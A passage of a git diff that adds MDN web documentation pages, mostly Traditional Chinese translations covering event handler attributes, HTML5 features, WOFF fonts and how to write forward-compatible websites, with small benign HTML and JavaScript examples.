+<p>In the JavaScript code executed in response to the event, <code>this</code> is bound to the HTML element and the {{domxref("Event")}} object can be reached using the <code>event</code> variable in the scope of the attribute.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> These attributes should be avoided. This makes the markup bigger and less readable. Concerns of content/structure and behavior are not well-separated, making a bug harder to find. Furthermore, usage of event attributes almost always causes scripts to expose global functions on the {{domxref("Window")}} object, polluting the global namespace.</p>
+</div>
+
+<p>While these attributes can at times be attractively easy to use, you should avoid using them. Instead, use the {{domxref("EventTarget.addEventListener()")}} function to add a listener for the event.</p>
+
+<p>Event attributes can be blocked by using <a href="/en-US/docs/Security/CSP/Introducing_Content_Security_Policy">Content Security Policy</a> which if used, blocks all inline scripts unless the <em>'unsafe-inline'</em> keyword is used.</p>
+
+<h2 id="Example_using_event_attributes" name="Example_using_event_attributes">Example using event attributes</h2>
+
+<p>This example appends text to an element each time time the {{HTMLElement("div")}} is clicked.</p>
+
+<div class="note">
+<p><strong>Note:</strong> This is an example of how not to do things, using one of these attributes.</p>
+</div>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Event Attribute Example&lt;/title&gt;
+    &lt;script&gt;
+      function doSomething() {
+        document.getElementById("thanks").innerHTML += "&lt;p&gt;Thanks for clicking!&lt;/p&gt;";
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;div onclick="doSomething();"&gt;Click me!&lt;/div&gt;
+    &lt;div id="thanks"&gt;&lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Try this example below:</p>
+
+<p>{{ EmbedLiveSample('Example_using_event_attributes', '', '', '') }}</p>
+
+<h2 id="Example_using_event_listeners">Example using event listeners</h2>
+
+<p>Instead, you should use {{domxref("EventTarget.addEventListener()")}}, as shown here:</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Event Attribute Example&lt;/title&gt;
+    &lt;script&gt;
+      function doSomething() {
+        document.getElementById("thanks").innerHTML += "&lt;p&gt;Thanks for clicking!&lt;/p&gt;";
+      }
+
+      // Called when the page is done loading; this is where we do any setup we need,
+      // such as creating event listeners for the elements in the page.
+
+      function setup() {
+        document.getElementById("click").addEventListener("click", doSomething, true);
+      }
+
+      // Install an event handler on the window to receive the "load" event, which
+      // indicates that the document has finished loading into the window.
+
+      window.addEventListener("load", setup, true);
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;div id="click"&gt;Click me!&lt;/div&gt;
+    &lt;div id="thanks"&gt;&lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>You can see this in action below:</p>
+
+<p>{{ EmbedLiveSample('Example_using_event_listeners', '', '', '') }}</p>
+
+<section id="Quick_Links"><ol><li><a href="/en-US/docs/Web/API/Event" title='The Event interface represents an event which takes place in the DOM; some are user-generated (such as mouse or keyboard events), while others are generated by APIs (such as events that indicate an animation has finished running, a video has been paused, and so forth). While events are usually triggered by such "external" sources, they can also be triggered programmatically, such as by calling the HTMLElement.click() method of an element, or by defining the event, then sending it to a specified target using EventTarget.dispatchEvent(). There are many types of events, some of which use other interfaces based on the main Event interface. Event itself contains the properties and methods which are common to all events.'>Event</a></li><li><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is a DOM interface implemented by objects that can receive events and may have listeners for them.">EventTarget</a></li><li><a href="/en-US/docs/Web/API/EventTarget.addEventListener">EventTarget.addEventListener</a></li></ol></section>
diff --git a/files/zh-tw/web/guide/html/html5/index.html b/files/zh-tw/web/guide/html/html5/index.html
new file mode 100644
index 0000000000..c1ea8252ef
--- /dev/null
+++ b/files/zh-tw/web/guide/html/html5/index.html
@@ -0,0 +1,112 @@
+---
+title: HTML5
+slug: Web/Guide/HTML/HTML5
+translation_of: Web/Guide/HTML/HTML5
+---
+<p>HTML5 是 <a href="/docs/HTML">HTML </a>標準中的最新版。在 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/">HTML5 規格</a>還未拍板定案之前，Mozilla 以及其他瀏覽器開發商已經著手實現其中的部分功能。本文所列的連結網址與相關內容，是 Mozilla  <a href="/en/Gecko" title="en/Gecko">Gecko</a> 解析引擎已經支援的部份，<a class="external" href="http://www.mozilla.com/en-US/firefox/" title="http://www.mozilla.com/en-US/firefox/">Firefox</a> 和<a href="/En/List_of_Mozilla-Based_Applications" title="En/List of Mozilla-Based Applications">許多其他產品</a>都使用 Gecko 解析引擎。</p>
+
+<p>(這裡是 <a href="/en/HTML/HTML5/HTML5_Thematic_Classification" title="en/HTML/HTML5/HTML5 Thematic Classification">另一篇 HTML5 分類整理文章</a>。)</p>
+
+<h2 id="HTML5_簡介">HTML5 簡介</h2>
+
+<dl>
+ <dt><a href="/en/HTML/HTML5/Introduction_to_HTML5" title="en/HTML/Introduction to HTML5"><strong>HTML5 簡介</strong></a></dt>
+ <dd>這篇文章介紹如何在你的網頁設計或 Web 應用程式中使用 HTML5。</dd>
+</dl>
+
+<h2 id="HTML5_元素">HTML5 元素</h2>
+
+<dl>
+ <dt><a href="/en/Using_HTML5_audio_and_video" title="En/Using_audio_and_video_in_Firefox">使用 audio 和 video</a> {{ gecko_minversion_inline("1.9.2") }}</dt>
+ <dd>Firefox 3.5 開始支援 HTML5 {{ HTMLElement("audio") }} 和 {{ HTMLElement("video") }} 兩個元素。</dd>
+ <dt><a href="/zh_tw/HTML/HTML5_表單" title="zh_tw/HTML/HTML5_表單">HTML5 表單</a> {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>簡單介紹 HTML5 對於 Web 表單的改進項目：限制條件與驗證 API、多個新增的屬性、新增多個值供 {{ HTMLElement("input") }} 的 {{ htmlattrxref("type", "input") }} 屬性使用，並且新增 {{ HTMLElement("output") }} 元素。</dd>
+ <dt><a href="/en/Sections_and_Outlines_of_an_HTML5_document" title="en/Sections and Outlines of an HTML5 document">Sections 和 outlines</a> {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>HTML5 對於大綱與分段的支援元素包含有： {{ HTMLElement("section") }}、{{ HTMLElement("article") }}、{{ HTMLElement("nav") }}、{{ HTMLElement("header") }}、{{ HTMLElement("footer") }}、{{ HTMLElement("aside") }} 以及 {{ HTMLElement("hgroup") }}。</dd>
+ <dt>元素 {{ HTMLElement("mark") }} {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>元素 mark 被用在標註特別相關的重點文字。</dd>
+ <dt>元素 {{ HTMLElement("figure") }} 和 {{ HTMLElement("figcaption") }} {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>These elements lets you add figures and illustration, with an eventual caption, loosely coupled to the main text.</dd>
+</dl>
+
+<h3 id="支援_Canvas">支援 Canvas</h3>
+
+<dl>
+ <dt><a href="/zh_tw/Canvas_tutorial" title="zh_tw/Canvas_tutorial">Canvas 導覽 </a>{{ gecko_minversion_inline("1.8.1") }}</dt>
+ <dd> 學習如何使用新的 <code>{{ HTMLElement("canvas") }}</code> 元素，以及如何在 Firefox 中繪製圖表與其他物件。</dd>
+ <dt style="text-align: justify;"><a href="/en/Drawing_text_using_a_canvas" title="en/Drawing_text_using_a_canvas">給 <code>&lt;canvas&gt;</code> 元素的 HTML5 文字(text) API</a> {{ gecko_minversion_inline("1.9.1") }}</dt>
+ <dd style="text-align: justify;">{{ HTMLElement("canvas") }} 元素現在已經支援 HTML5 文字(text) API。</dd>
+</dl>
+
+<h2 id="給_Web_應用程式的新功能">給 Web 應用程式的新功能</h2>
+
+<dl>
+ <dt><a href="/zh_tw/Firefox_中的離線資源" title="zh_tw/Firefox_中的離線資源">Firefox 中的離線資源(含 HTML5 Application Cache 介紹)</a>  {{ gecko_minversion_inline("1.9.1") }}</dt>
+ <dd>Firefox 完整支援 HTML5 離線資源規格。</dd>
+ <dt><a href="/en/Online_and_offline_events" title="en/Online_and_offline_events">上線與離線事件 (Online and offline events)</a> {{ gecko_minversion_inline("1.9") }}</dt>
+ <dd>Firefox 3 支援 WHATWG 的上線與離線事件，這讓應用程式與擴充套件可以偵測目前是否有可用的 Internet 連線，也可以偵測何時建立或結束這個網路連線。</dd>
+ <dt><a href="/en/DOM/Storage" title="en/DOM/Storage">WHATWG 用戶端 session 與持續性儲存 (persistent storage) (亦稱 DOM 儲存)</a> {{ gecko_minversion_inline("1.8.1") }}</dt>
+ <dd>用戶端 session 與持續性儲存功能，讓 web 應用程式可以在用戶端儲存結構性資料。</dd>
+ <dt><a href="/en/HTML/Content_Editable" title="en/HTML/Content Editable">屬性 contentEditable ，將你的網站變成 wiki !</a> {{ gecko_minversion_inline("1.9.1") }}</dt>
+ <dd>HTML5 已經將 contentEditable 屬性標準化。學習更多這個新功能。</dd>
+ <dt><a href="/en/Using_files_from_web_applications" title="en/Using_files_from_web_applications">在 web 應用程式中存取檔案</a> {{ gecko_minversion_inline("1.9.2") }}</dt>
+ <dd>Gecko 已經支援新的 HTML5 檔案 API，讓 web 應用程式可以存取使用者所選的本地端檔案。這個功能也包含使用檔案類型的輸入元素 <span style="font-family: monospace;">{{ HTMLElement("input") }}</span>  <a href="/en/HTML/Element/Input#attr-type" title="en/HTML/Element/input#attr-type"><strong>type</strong></a> <span style="font-family: courier new;">file</span> 的新屬性 <a href="/en/HTML/Element/Input#attr-multiple" title="en/HTML/Element/input#attr-multiple"><strong>multiple</strong></a> 來選取多個檔案。</dd>
+</dl>
+
+<h2 id="DOM_新功能">DOM 新功能</h2>
+
+<dl>
+ <dt><a href="/en/DOM/document.getElementsByClassName" title="en/DOM/document.getElementsByClassName">getElementsByClassName</a> {{ fx_minversion_inline(3.0) }}</dt>
+ <dd>支援 Document 與 Element 節點的 getElementsByClassName 方法。這個方法允許藉由指定的一個或多個 class 尋找頁面中的元素。</dd>
+ <dt><a href="/zh_tw/DragDrop/Drag_and_Drop" title="zh_tw/DragDrop/Drag_and_Drop">拖曳功能 (Drag and drop)</a> {{ fx_minversion_inline(3.5) }}</dt>
+ <dd>HTML5 拖曳 API 支援在一個或多個網站之間拖曳物件。也提供了一個更簡化的 API 供擴充套件與 Mozilla-based 應用程式使用。</dd>
+ <dt><a href="/en/Focus_management_in_HTML" title="en/Focus_management_in_HTML">HTML Focus 管理</a> {{ fx_minversion_inline(3.0) }}</dt>
+ <dd>支援新的 HTML5 屬性：<code>activeElement</code> 與 <code>hasFocus</code> 。</dd>
+ <dt><a href="/en/Web-based_protocol_handlers" title="en/Web-based_protocol_handlers">Web-based 協定處理器</a> {{ fx_minversion_inline(3.0) }}</dt>
+ <dd>你現在可以使用 <code>navigator.registerProtocolHandler() 方法</code>將 web 應用程式註冊成協定處理器 (protocol handlers)。</dd>
+</dl>
+
+<h2 id="HTML_解析器">HTML 解析器</h2>
+
+<p>Gecko 的 <a href="/en/HTML/HTML5/HTML5_Parser" title="en/HTML/HTML5/HTML5 parser">HTML5相容解析器 </a>— 負責將一份 HTML 文件字元們轉化為 DOM — 已經於 2010 年五月預設為啟用。（備忘：該 HTML5 解析器版本搭載於 Gecko 1.9.2 / Firefox 3.6 當中，是個不穩定的版本，並且不建議用於正式使用環境。） {{ fx_minversion_inline(4.0) }}</p>
+
+<h2 id="其他">其他</h2>
+
+<ul>
+ <li>HTML 文件中的 <code>localName</code> 與 <code>namespaceURI</code> ，現在可以實作類似在 XML 文件中的行為：<code>localName</code> 傳回小寫字元，而 <code>namespaceURI</code> 對於 HTML 元素是 <code>"<a class="external" href="http://www.w3.org/1999/xhtml" rel="external nofollow" title="http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a>" </code>{{ fx_minversion_inline(3.6) }}</li>
+ <li>當頁面 URI 的片段標示 （在 "#" (hash) 字元之後的部份）有變更時，新的 <code>hashchange</code> 事件會被送至該頁面。 請參考 <a href="/en/DOM/window.onhashchange" title="en/DOM/window.onhashchange">window.onhashchange</a>。{{ fx_minversion_inline(3.6) }}</li>
+ <li>支援 <code><a href="/en/DOM/element.classList" title="en/DOM/element.classList">element.classList</a></code> ，可以更方便處理 class 屬性。 {{ fx_minversion_inline(3.6) }}</li>
+ <li>文件就緒事件 <a href="/en/DOM/document.onreadystatechange" title="en/DOM/document.onreadystatechange">document.onreadystatechange</a> {{ fx_minversion_inline(4) }} 以及 <a href="/en/DOM/document.readyState" title="en/DOM/document.readyState">document.readyState</a> {{ fx_minversion_inline(3.6) }} 也被支援了。</li>
+ <li>Colors in presentation attributes are interpreted according to HTML5. {{ fx_minversion_inline(4.0) }}</li>
+</ul>
+
+<h2 id="有些人自以為它是_HTML5_的一部分……XD">有些人自以為它是 HTML5 的一部分……XD</h2>
+
+<ul>
+ <li><a href="/en/WebGL" title="en/WebGL">WebGL</a></li>
+ <li><a href="/en/DOM/FileReader" title="en/DOM/FileReader"><code>FileReader</code></a></li>
+ <li><code><a href="/en/DOM/XMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a></code></li>
+ <li><code><a href="/en/DOM/Locating_DOM_elements_using_selectors" title="en/DOM/Locating DOM elements using selectors">querySelector(All)</a></code></li>
+ <li><a href="/En/Using_geolocation" title="En/Using geolocation">Geolocation</a></li>
+ <li><a href="/en/JavaScript/ECMAScript_5_support_in_Mozilla" title="en/JavaScript/ECMAScript 5 support in Mozilla">ECMAScript5</a></li>
+ <li>CSS3</li>
+ <li><a href="/en/XBL2_specification_(external)" title="en/XBL2 specification (external)">XBL2</a></li>
+ <li><a href="/En/DOM/Using_web_workers" title="En/Using web workers">Web Workers</a></li>
+ <li><a href="/zh_tw/WebSockets" title="zh tw/WebSockets">Web Sockets</a></li>
+ <li>Faster JavaScript</li>
+</ul>
+
+<h2 id="參考">參考</h2>
+
+<ul>
+ <li><a href="/Firefox/Releases/4" rel="internal">Firefox 4 技術文件</a></li>
+ <li><a href="/Firefox/Releases/3.6" title="en/Firefox 3.6 for developers">Firefox 3.6 技術文件</a></li>
+ <li><a href="/Firefox/Releases/3.5" title="En/Firefox 3.5 for developers">Firefox 3.5 技術文件</a></li>
+ <li><a href="/Firefox/Releases/3" title="en/Firefox 3 for developers">Firefox 3 技術文件</a></li>
+ <li><a href="/Firefox/Releases/2" title="en/Firefox 2 for developers">Firefox 2 技術文件</a></li>
+ <li><a href="/Firefox/Releases/1.5" title="en/Firefox 1.5 for developers">Firefox 1.5 技術文件</a></li>
+</ul>
+
+<p>{{ HTML5ArticleTOC() }}</p>
+
+<p>{{ languages( {"es": "es/HTML/HTML5", "fr": "fr/HTML/HTML5", "ja": "ja/HTML/HTML5" , "ko": "ko/HTML/HTML5" , "pt": "pt/HTML/HTML5", "zh-cn": "cn/HTML/HTML5", "zh-tw": "zh_tw/HTML/HTML5", "pt-br": "pt-br/HTML/HTML5"} ) }}</p>
diff --git a/files/zh-tw/web/guide/html/html5/introduction_to_html5/index.html b/files/zh-tw/web/guide/html/html5/introduction_to_html5/index.html
new file mode 100644
index 0000000000..7e2eba7335
--- /dev/null
+++ b/files/zh-tw/web/guide/html/html5/introduction_to_html5/index.html
@@ -0,0 +1,40 @@
+---
+title: Introduction to HTML5
+slug: Web/Guide/HTML/HTML5/Introduction_to_HTML5
+tags:
+  - HTML
+  - HTML5
+translation_of: Web/Guide/HTML/HTML5/Introduction_to_HTML5
+---
+<p><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">HTML5</a> 是目前最新的HTML標準。它提供一些新特性，不只是支援多媒體，還讓網頁應用程式可以更容易、更有效地與使用者、伺服器互動。</p>
+
+<p>目前，仍有一些瀏覽器未完全支援HTML5所有特性。但是使用Gecko解析引擎的Firefox已經對HTML5十分支持，現時還繼續開發去支援更多特性。Gecko已經在1.8.1版本開始支持一些HTML5 了。你可以在<a href="/en/HTML/HTML5" title="en/HTML/HTML5">main HTML5 page</a>找到Gecko解析引擎最近支援的HTML5特性列表。若要更仔細知道多種瀏覽器支援的情況，可瀏覽<a class="external" href="http://caniuse.com/#cats=HTML5" title="http://caniuse.com/#cats=HTML5">CanIUse</a>。</p>
+
+<h2 id="建立HTML5文件並宣告HTML5_doctype">建立HTML5文件並宣告HTML5 doctype</h2>
+
+<p>要建立HTML5文件很簡單，只需要在文件開首宣告：</p>
+
+<pre class="brush:html;">&lt;!DOCTYPE html&gt;
+</pre>
+
+<p>對於未支援HTML5標準的瀏覽器，瀏覽器會繼續解析，但要注意一些HTML5的新特性則會忽略、不會支援。</p>
+
+<p>然而這個宣告方法比以前HTML版本更簡單、更短，更容易記憶，亦減少文件容量。</p>
+
+<h2 id="利用&lt;meta_charset>來宣告字符集"><code>利用&lt;meta charset&gt;來宣告字符集</code></h2>
+
+<p>你需要首先指示瀏覽器要使用哪一種字符集。在以前版本，這需要複雜的<code>&lt;meta&gt;完素；來到</code>HTML5，這變得非常簡單：</p>
+
+<pre class="brush:html;">&lt;meta charset="UTF-8"&gt;</pre>
+
+<p>將它放置在<code>&lt;head&gt;&lt;/head&gt;之間。若果你使用的字符集與瀏覽器預先設定的不一樣，</code><span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">瀏覽器會重新解析文件。另外，若你目前並非</span>UTF-8<span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">字符集，建議你在網頁中自行設定。</span></p>
+
+<p>為了加強安全，HTML5文件限制<span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">字符集需要兼容</span>ASCII和最少8位元。</p>
+
+<h2 id="Using_the_new_HTML5_parser">Using the new HTML5 parser</h2>
+
+<p>The parsing rule of HTML5, which analyzes the meaning of mark-up, has been more precisely defined in HTML5. Until the introduction of HTML5, only the meaning of <em>valid</em> mark-up was defined, meaning that as soon as one small error was made in the mark-up (most Web sites have at least one), the behavior was undefined. Essentially, it meant that all browsers behaved differently, which is no longer the case. Now, faced with errors in the mark-up, all compliant browsers must behave exactly in the same way.</p>
+
+<p>This requirement helps Web developers quite a bit. While it is true that all modern browsers now use these HTML5 parsing rules, non-HTML5-compliant browsers are still used by some. Keep in mind that it's still highly recommended that one write valid mark-up, as such code is easier to read and maintain, and it greatly decreases the prominence of incompatibilities that exists in various older browsers.</p>
+
+<p>Don't worry — you don't have to change anything on your Web site — the Web browsers' developers have done everything for you!</p>
diff --git a/files/zh-tw/web/guide/index.html b/files/zh-tw/web/guide/index.html
new file mode 100644
index 0000000000..48772ec771
--- /dev/null
+++ b/files/zh-tw/web/guide/index.html
@@ -0,0 +1,29 @@
+---
+title: Web 開發者指引
+slug: Web/Guide
+tags:
+  - Guide
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Web/Guide
+---
+<p>這些文章提供了如何幫助你使用特定技術和 APIs 的資訊。</p>
+
+<div class="note">
+<p><strong>注意:</strong> 很抱歉。這個頁面在我們完成內容遷移之前會很混亂。</p>
+</div>
+
+<div>{{LandingPageListSubpages}}</div>
+
+<dl>
+ <dt><a href="/zh-TW/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a></dt>
+ <dd>JavaScript 是用來創造網頁應用程式的腳本化語言.</dd>
+</dl>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/Reference" title="/en-US/docs/Web/Reference">Web Developer Reference</a></li>
+</ul>
diff --git a/files/zh-tw/web/guide/introduction_to_web_development/index.html b/files/zh-tw/web/guide/introduction_to_web_development/index.html
new file mode 100644
index 0000000000..ec264af0b3
--- /dev/null
+++ b/files/zh-tw/web/guide/introduction_to_web_development/index.html
@@ -0,0 +1,13 @@
+---
+title: Web開發入門
+slug: Web/Guide/Introduction_to_Web_development
+translation_of: Web/Guide/Introduction_to_Web_development
+---
+<p>不論你是否是剛入門的 Web 開發者，或者只是為了拓寬視野而進入全新的 Web 領域，這裡的連結應該幫得上你。至少，我們在此有很多的連結。</p>
+<div class="note"><strong>附註:</strong> 本頁明顯還是個片斷，我們需要在此產生一些內容。</div>
+<table class="mainpage-table"> <tbody> <tr> <td> <h2 id="文件主題">文件主題</h2> <p>在此我們還沒有任何文章，但很需要。</p> </td> <td> <h2 id="資源">資源</h2>
+<dl> <dt><a class="external" href="http://www.w3schools.com/" title="http://www.w3schools.com/">W3Schools</a>（<a class="external" href="http://www.w3school.com.cn/" title="http://www.w3school.com.cn/">簡體中文版</a>）</dt> <dd>免費的 Web 開發教學，從提供給初學者的 HTML，到高級的 Web 技術。</dd>
+</dl></td> </tr> </tbody>
+</table>
+<p> </p>
+<p>{{ languages( { "en": "en/Web_Development/Introduction_to_Web_development" } ) }}</p>
diff --git a/files/zh-tw/web/guide/performance/index.html b/files/zh-tw/web/guide/performance/index.html
new file mode 100644
index 0000000000..00c4b9d7fe
--- /dev/null
+++ b/files/zh-tw/web/guide/performance/index.html
@@ -0,0 +1,14 @@
+---
+title: Optimization and performance
+slug: Web/Guide/Performance
+tags:
+  - Landing
+  - NeedsTranslation
+  - Optimization
+  - Performance
+  - TopicStub
+  - Web
+translation_of: Web/Guide/Performance
+---
+<p>When building modern Web apps and sites, it's important to make your content perform well. That is, to make it work quickly and efficiently. This lets it work effectively both for users of powerful desktop systems as well as for handheld devices with less power.</p>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/zh-tw/web/guide/woff/index.html b/files/zh-tw/web/guide/woff/index.html
new file mode 100644
index 0000000000..38bc75a2c1
--- /dev/null
+++ b/files/zh-tw/web/guide/woff/index.html
@@ -0,0 +1,100 @@
+---
+title: 網路開放字型格式 (WOFF)
+slug: Web/Guide/WOFF
+tags:
+  - Fonts
+  - NeedsMobileBrowserCompatibility
+  - WOFF
+  - 字型
+translation_of: Web/Guide/WOFF
+---
+<p><span class="seoSummary"><strong>WOFF</strong>（<strong>網頁開放字型格式</strong>）是由 Mozilla、Type Supply、LettError 和其它組織協力開發的全新網路字型格式。它</span>使用了同為表格結構的 <code>sfnt</code> 壓縮版，廣泛用於 TrueType、OpenType 和開放字型格式，另外<span class="seoSummary">加入了中繼資料和私有資料結構，其中包含事先定義的欄位，讓有意願的廠商和製造商提供授權資訊。</span></p>
+
+<p>使用 WOFF 主要有以下三項好處：</p>
+
+<ol>
+ <li>字型資料經過壓縮，因此使用 WOFF 的網站流量降低，載入速度也會比未壓縮的 TrueType 或 OpenType 檔更快。</li>
+ <li>許多不願授權的字型商都可以授權 WOFF 格式的字型，網站設計師有更多的字型可以選擇。</li>
+ <li>專有軟體和自由軟體商都喜歡 WOFF 格式，因此在網路世界上，可以成為真正通用和可交換的字型格式，有別於目前其它字型格式。</li>
+</ol>
+
+<h2 id="使用_WOFF">使用 WOFF</h2>
+
+<p>您可透過{{cssxref("@font-face")}} CSS 屬性在網頁內的文字使用 WOFF 字型。它的運作方式和 OpenType 以及 TrueType 字型並無二異，但在下載內容時可能會更有效率，這完全歸功於其與生俱來的壓縮特性。</p>
+
+<h2 id="Specifications" name="Specifications">規格文件</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規格文件</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WOFF1.0', '', '')}}</td>
+   <td>{{Spec2('WOFF1.0')}}</td>
+   <td>初始規格文件</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能特色</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>6.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能特色</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="詳見">詳見</h2>
+
+<ul>
+ <li>{{cssxref("@font-face")}}</li>
+</ul>
diff --git a/files/zh-tw/web/guide/writing_forward-compatible_websites/index.html b/files/zh-tw/web/guide/writing_forward-compatible_websites/index.html
new file mode 100644
index 0000000000..67d7b2c5e9
--- /dev/null
+++ b/files/zh-tw/web/guide/writing_forward-compatible_websites/index.html
@@ -0,0 +1,70 @@
+---
+title: Writing forward-compatible websites
+slug: Web/Guide/Writing_forward-compatible_websites
+translation_of: Web/Guide/Writing_forward-compatible_websites
+---
+<p>這個頁面將解釋如何撰寫在新的瀏覽器版本發布時不會遭受毀損的網頁。</p>
+<p>這對內部網路和其他非公共網站尤其重要，如果我們不能看到你的原始碼，我們將無法看到它是否已遭受毀損。底下所提到的原則可能無法全數做到，但盡可能遵守這些原則，對於你的網站在未來發展維護上有所幫助。</p>
+<h2 id="JavaScript">JavaScript</h2>
+<h3 id="以「window.」前綴修飾所有存取於_onfoo_屬性的全域變數">以「<code>window.</code>」前綴修飾所有存取於 <code>onfoo</code> 屬性的全域變數</h3>
+<p>當一個事件處理器內容屬性（例如：<code>onclick</code>, <code>onmouseover</code> 等等）被使用在 HTML 的元素上時，所有對於屬性內名稱的查找首先發生在元素本身，若元素為表單控制項，再來尋找元素的表單，接著是 document，最後是 window（你定義全域變數的地方）。例如，如果你有這樣的原始碼：</p>
+<pre>&lt;div onclick="alert(ownerDocument)"&gt;點我一下&lt;/div&gt;</pre>
+<p>在點選文字時，div 中的 ownerDocument 會被提示，即使是在全域範圍內宣告 var ownerDocument 這種情況依然會發生。</p>
+<p>這意味著，無論你何時在事件處理器內容屬性存取了一個全域變數，包括呼叫任何全域函數，當規格中新增了和您變數或函式同名的 DOM 屬性到元素或文件之中，在瀏覽器實作之後，就會產生名稱衝突。這時你的函式將突然被停止呼叫。這種情況在 HTML5 的發展之下，多次在不同網站中發生。</p>
+<p>為了避免這種情況，以 window 來限定全域變數的存取，例如：</p>
+<pre>&lt;script&gt;
+  function localName() {
+    alert('函式 localName 被呼叫了');
+  }
+&lt;/script&gt;
+&lt;div onclick="<strong>window.</strong>localName()"&gt;按一下會跑出一個提示訊息&lt;/div&gt;
+</pre>
+<h3 id="不要直接附加非您能控制的腳本">不要直接附加非您能控制的腳本</h3>
+<p><code>"use strict;"</code> 指令在 ECMAScript 裡，使用於檔案層級時適用於檔案的所有程式碼。因此，若將取決非嚴格模式行為的腳本，直接附加到要求嚴格模式的腳本會導致不正常的行為。</p><h3 id="要求_JavaScript_函式庫的作者遵守這些規則">要求 JavaScript 函式庫的作者遵守這些規則</h3>
+<p>向您喜歡的函式庫開發者們建議他們遵循這些規範，否則您無法確保未來這些函式庫能否依舊正常運作。可惜的是函式庫往往違反這些準則。</p>
+<h2 id="偵測">偵測</h2>
+<h3 id="偵測特定功能支援">偵測特定功能支援</h3>
+<p>如果您打算使用某些功能，盡可能使用物件偵測來偵測功能是否支援。簡單來說，不要假設只要 <code>"filter" in body.style</code> 測試結果為 true 的瀏覽器必定是 Microsoft Internet Explorer，進而我們一定會有 <code>window.event</code> 物件提供事件處理器。不要假設一個擁有特定 DOM 功能的瀏覽器一定也有另外一個 DOM 功能（特別是非標準功能）；或著反過來假設一定不會支持某些功能（例如，假設在腳本元素中支援 <code>onload</code> 的瀏覽器一定不會支援 <code>onreadystatechange</code>）。隨著瀏覽器們整合他們的行為，它們會同時新增和刪除許多功能並修正錯誤。過去即是如此，未來也將會如此。</p>
+<p>所以，在偵測特定功能時，不要接著假定「只要某個功能支援與否，另外一樣功能就一定支援與否」。</p>
+<h3 id="別做_UA_偵測">別做 UA 偵測</h3>
+<p>這就是假設一項功能存在（User Agent 中包含特定的字元）時，必定有哪些東西可用或不可用的常見實例。</p>
+<h4 id="如果您不得不做_UA_偵測，僅針對過去的瀏覽器版本">如果您不得不做 UA 偵測，僅針對過去的瀏覽器版本</h4>
+<p>如果您還是得訴諸 UA（User Agent）偵測，請只針對特定瀏覽器的過去版本進行偵測。首先，對於未知的、所測試瀏覽器的目前與未來版本執行預設的程式內容。接著如果無法透過偵測，找出過去瀏覽器版本中預設程式內容中無法使用的功能，就可以透過偵測特定瀏覽器的過去版本來追加對應的修正。</p>
+<p>在這個提案中，「目前的版本」意指您所能測試到的最新版本。如果您的預設程式內容在 Firefox Aurora 中可以正常運作，而在 Beta 和最新釋出版中存在問題而無法運作，此時您可以將您所測試中的 Firefox Aurora 版本標為「目前的版本」，將 Beta 以前的版本都視為「過去的版本」，即使它們還沒有被正式釋出給大眾。</p>
+<h3 id="不要為了不同的瀏覽器設計多餘的對應程式">不要為了不同的瀏覽器設計多餘的對應程式</h3>
+<p>當您所用的一部分程式內容可能在所有瀏覽器都能運作時，別隨便透過物件或 UA 偵測來決定執行不同的程式碼。瀏覽器很有可能改變它們的行為並互相整合，若您任意切出不同的替代程式，您的網站將有可能會損壞。</p>
+<h2 id="測試">測試</h2>
+<h3 id="測試所有主流引擎">測試所有主流引擎</h3>
